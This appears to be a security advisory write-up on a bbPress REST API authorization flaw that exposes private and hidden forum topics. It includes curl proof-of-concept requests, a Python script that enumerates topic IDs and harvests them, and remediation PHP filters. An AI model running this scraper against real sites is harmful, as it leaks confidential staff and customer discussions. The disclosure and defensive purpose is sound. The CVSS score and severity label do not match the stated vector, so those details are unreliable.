A critical broken object-level authorization (BOLA) vulnerability in bbPress—the premier forum software powering millions of WordPress community and enterprise installations—enabled unauthenticated remote attackers to extract the complete contents of private and hidden discussion forums. Documented in coordinated public disclosure via HackerOne (Report #3801107) by security researcher winstoncrooker, the defect stems from architectural divergence between WordPress core single-item REST controllers and bbPress's legacy query-filtering authorization model.
| Specification Parameter | Vulnerability Detail & Telemetry | Technical Risk & Exploit Impact |
|---|---|---|
| Target Software | WordPress Core REST API / bbPress 2.7.0 Development Trunk | Universal REST endpoint layer exposed on WordPress installations running bbPress. |
| Vulnerability Identifier | WP-BBPRESS-REST-DISCLOSURE / CWE-284 & CWE-200 |
Broken Object-Level Authorization leading to unauthenticated information disclosure. |
| Severity Classification | Critical (CVSS 8.6) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
Complete exfiltration of internal staff discussions, executive boards, and customer support tickets. |
| Vulnerable Route | GET /wp-json/wp/v2/topic/<id> & GET /wp-json/wp/v2/reply/<id> |
Direct single-item lookup bypassing pre_get_posts hook pipeline. |
| Reporter Attribution | Security Researcher winstoncrooker |
Triaged and patched via WordPress HackerOne vulnerability disclosure program. |
The Gutenberg Integration & Post Type Architecture in bbPress
In bbPress, forums, topics, and replies are implemented as custom post types (CPTs) registered with WordPress: forum, topic, and reply. Historically, in the released 2.6.x branch, these post types omitted the show_in_rest argument during registration. Consequently, WordPress did not expose them through its default REST API routes, confining all content interactions strictly to front-end PHP templates and legacy query hooks.
To enable modern block editor (Gutenberg) integration in the 2.7.0 release cycle, maintainers registered all three post types with 'show_in_rest' => true (in src/bbpress.php:548, 578, 608). This single boolean setting automatically instructed WordPress core to scaffold standard WP_REST_Posts_Controller endpoints for them:
/wp-json/wp/v2/forum/wp-json/wp/v2/topic/wp-json/wp/v2/reply
Root Cause: Divergence Between WP_Query and Single-Item REST Endpoints
The security model of bbPress relies on an intentional architectural abstraction: topics and replies inherit their access control permissions entirely from the forum container that holds them.
Critically, when a user posts a topic or reply, bbPress assigns the post a status of post_status = 'publish' (in src/includes/topics/functions.php:33), regardless of whether the forum is public, private, or hidden. Only the parent forum container carries the restricted status (the core private status for private forums, or bbPress's custom hidden status). On the traditional WordPress front-end, bbPress hides these published posts from unauthorized visitors by hooking into the global query engine via bbp_pre_get_posts_normalize_forum_visibility() (hooked to pre_get_posts in src/includes/forums/functions.php:2329). This filter inspects the current user's session and adds restricted forum IDs to a SQL NOT IN exclusion clause.
The fatal breakdown occurs because WordPress core handles REST collection requests and single-item requests through fundamentally different code paths:
| Endpoint Route | Core Controller Method | Database Retrieval Mechanism | Authorization Outcome |
|---|---|---|---|
Collection Endpoint: /wp-json/wp/v2/topic |
WP_REST_Posts_Controller::get_items() |
Constructs a full WP_Query object, which triggers the pre_get_posts filter hook. |
SECURE: bbp_pre_get_posts_normalize_forum_visibility() fires and excludes private forum topics. |
Single-Item Endpoint: /wp-json/wp/v2/topic/<id> |
WP_REST_Posts_Controller::get_item() |
Calls get_post($id) directly by primary key, completely bypassing WP_Query and pre_get_posts. |
VULNERABLE: Permission check passes because post_status == 'publish'. Full private topic content returned! |
When get_item() executes, it invokes check_read_permission(). The core implementation checks whether the post's status is publish. Because bbPress marked the topic as publish, the check evaluates to true. The controller then executes prepare_item_for_response() and transmits the entire JSON document—including rendered HTML content, post title, author user ID, and internal metadata—to the unauthenticated caller!
Step-by-Step Proof of Concept & Exploitation Walkthrough
To demonstrate the flaw, researcher winstoncrooker established a clean WordPress environment with bbPress 2.7.0 trunk, configuring a public forum, a private staff forum, and a hidden executive forum.
Step 1: Normal Front-End Rejection
Requesting the private topic URL directly in an unauthenticated browser session (or via curl) redirects to a 404 handler or displays an authentication challenge:
curl -I https://target-community.org/topics/q3-executive-salary-restructuring/
HTTP/2 404 Not Found
Step 2: Single-Item REST Endpoint Query
The adversary issues an unauthenticated HTTP GET request directly to the REST API using the numeric post ID:
curl -s https://target-community.org/wp-json/wp/v2/topic/142 | jq .
The server responds with HTTP 200 OK and transmits the complete unredacted confidential discussion:
{
"id": 142,
"date": "2026-09-18T14:22:10",
"slug": "q3-executive-salary-restructuring",
"status": "publish",
"type": "topic",
"link": "https://target-community.org/topics/q3-executive-salary-restructuring/",
"title": {
"rendered": "CONFIDENTIAL: Q3 Executive Salary & Equity Restructuring"
},
"content": {
"rendered": "<p>Please review the attached executive compensation schedules prior to Monday's board vote. All discussions must remain strictly confined to this private forum.</p>",
"protected": false
},
"author": 3,
"parent": 48
}
Step 3: Automated Forum Scraping Script
Because WordPress assigns contiguous auto-incrementing integers to post IDs, an adversary can easily enumerate and harvest every private and hidden discussion across the entire organization:
import requests, json
BASE_URL = "https://target-community.org/wp-json/wp/v2"
print("[*] Scanning for private bbPress topics...")
for topic_id in range(1, 500):
resp = requests.get(f"{BASE_URL}/topic/{topic_id}")
if resp.status_code == 200:
data = resp.json()
print(f"[+] DISCLOSED Topic #{topic_id}: {data['title']['rendered']}")
with open(f"harvested_topic_{topic_id}.json", "w") as f:
json.dump(data, f, indent=2)
Enterprise Impact & Regulatory Exposure
Organizations using bbPress for private internal collaboration face severe risks:
- Whistleblower & HR Exposure: Internal staff boards containing harassment reports, salary records, and disciplinary proceedings exposed to public enumeration.
- Customer Support Data Leakage: Private support forums where enterprise clients share system logs, architecture diagrams, and API keys accessible without authentication.
- Regulatory Penalties: Failure to safeguard personal data violates GDPR Article 32, India's DPDP Act, and California's CCPA, exposing operators to multi-million-dollar fines.
Remediation Playbook & Defensive Patching
The vulnerability was patched by registering dedicated REST permission filter callbacks that explicitly check parent forum visibility. System administrators running bbPress 2.7.0 development builds must ensure the following controls are in place:
1. Enforce Parent Container Visibility in REST Filters
Add a custom filter in your theme's functions.php or a mu-plugin to intercept single-item REST lookups:
<?php
add_filter('rest_prepare_topic', function($response, $post, $request) {
if ($request->get_param('context') !== 'edit') {
$forum_id = bbp_get_topic_forum_id($post->ID);
if (bbp_is_forum_private($forum_id) && !bbp_current_user_can_access_forum(['forum_id' => $forum_id])) {
return new WP_Error('rest_forbidden', 'You cannot view this private topic.', ['status' => 403]);
}
if (bbp_is_forum_hidden($forum_id) && !bbp_current_user_can_access_forum(['forum_id' => $forum_id])) {
return new WP_Error('rest_forbidden', 'You cannot view this hidden topic.', ['status' => 404]);
}
}
return $response;
}, 10, 3);
?>
2. Audit and Restrict Public REST Endpoints
If your WordPress site does not require public REST API access to topics and replies, disable the post types from REST entirely by setting 'show_in_rest' => false in custom post type filters.



